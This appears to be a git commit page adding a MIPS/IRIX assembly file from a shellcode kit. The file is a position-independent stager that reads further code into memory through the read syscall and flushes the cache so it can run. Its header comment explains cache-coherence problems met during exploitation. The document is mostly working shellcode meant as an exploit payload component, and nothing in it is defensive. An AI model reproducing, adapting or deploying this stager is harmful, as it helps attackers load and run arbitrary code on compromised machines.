diff options
| author | Root THC | 2026-02-24 12:42:47 +0000 |
|---|---|---|
| committer | Root THC | 2026-02-24 12:42:47 +0000 |
| commit | c9cbeced5b3f2bdd7407e29c0811e65954132540 (patch) | |
| tree | aefc355416b561111819de159ccbd86c3004cf88 /other/shellkit/mips_irix/read.s | |
| parent | 073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff) | |
initial
Diffstat (limited to 'other/shellkit/mips_irix/read.s')
| -rw-r--r-- | other/shellkit/mips_irix/read.s | 51 |
1 files changed, 51 insertions, 0 deletions
diff --git a/other/shellkit/mips_irix/read.s b/other/shellkit/mips_irix/read.s new file mode 100644 index 0000000..90ab25d --- /dev/null +++ b/other/shellkit/mips_irix/read.s | |||
| @@ -0,0 +1,51 @@ | |||
| 1 | /* MIPS/IRIX PIC read/cacheflush code | ||
| 2 | * | ||
| 3 | * -sc. | ||
| 4 | * | ||
| 5 | * some note: | ||
| 6 | * since the data that is read in is treated in the data cache, you may | ||
| 7 | * experience a data/instruction cache incoherence, where the instruction | ||
| 8 | * cache still contains the old memory contents. to avoid this, send a lot | ||
| 9 | * of data, first the shellcode and then a huge bogus space of nops, which | ||
| 10 | * are to flush the data cache, later making the instruction cache populated | ||
| 11 | * with the real shellcode. or do it as we do it here, use a cacheflush | ||
| 12 | * syscall. this is only possible if this code is already in icache, so for | ||
| 13 | * the usual exploitation situation that does not help much. | ||
| 14 | */ | ||
| 15 | |||
| 16 | #include <sgidefs.h> | ||
| 17 | #include <sys/regdef.h> | ||
| 18 | #include <sys/asm.h> | ||
| 19 | #include <sys.s> | ||
| 20 | #include <sys/syscall.h> | ||
| 21 | |||
| 22 | .section .text | ||
| 23 | |||
| 24 | .globl cbegin | ||
| 25 | .globl cend | ||
| 26 | |||
| 27 | cbegin: | ||
| 28 | .set noreorder | ||
| 29 | .set nomacro | ||
| 30 | |||
| 31 | foo: bltzal zero, foo | ||
| 32 | slti a0, zero, -1 | ||
| 33 | |||
| 34 | addu ra, ra, (0x0101 + 48) | ||
| 35 | subu a1, ra, 0x0101 | ||
| 36 | |||
| 37 | li a2, 0x1010 /* read 0x1010 bytes max */ | ||
| 38 | li v0, SYS_read | ||
| 39 | syscall | ||
| 40 | |||
| 41 | subu a0, ra, 0x0101 /* data was read to here */ | ||
| 42 | li a1, 0x1010 /* should be cacheline aligned */ | ||
| 43 | li t2, -4 | ||
| 44 | not a2, t2 /* BCACHE = 0x03 */ | ||
| 45 | li v0, SYS_cachectl /* 0x047e */ | ||
| 46 | syscall | ||
| 47 | li t8, 0x7350 /* has to be a sane bds */ | ||
| 48 | |||
| 49 | .end cbegin | ||
| 50 | cend: | ||
| 51 | |||
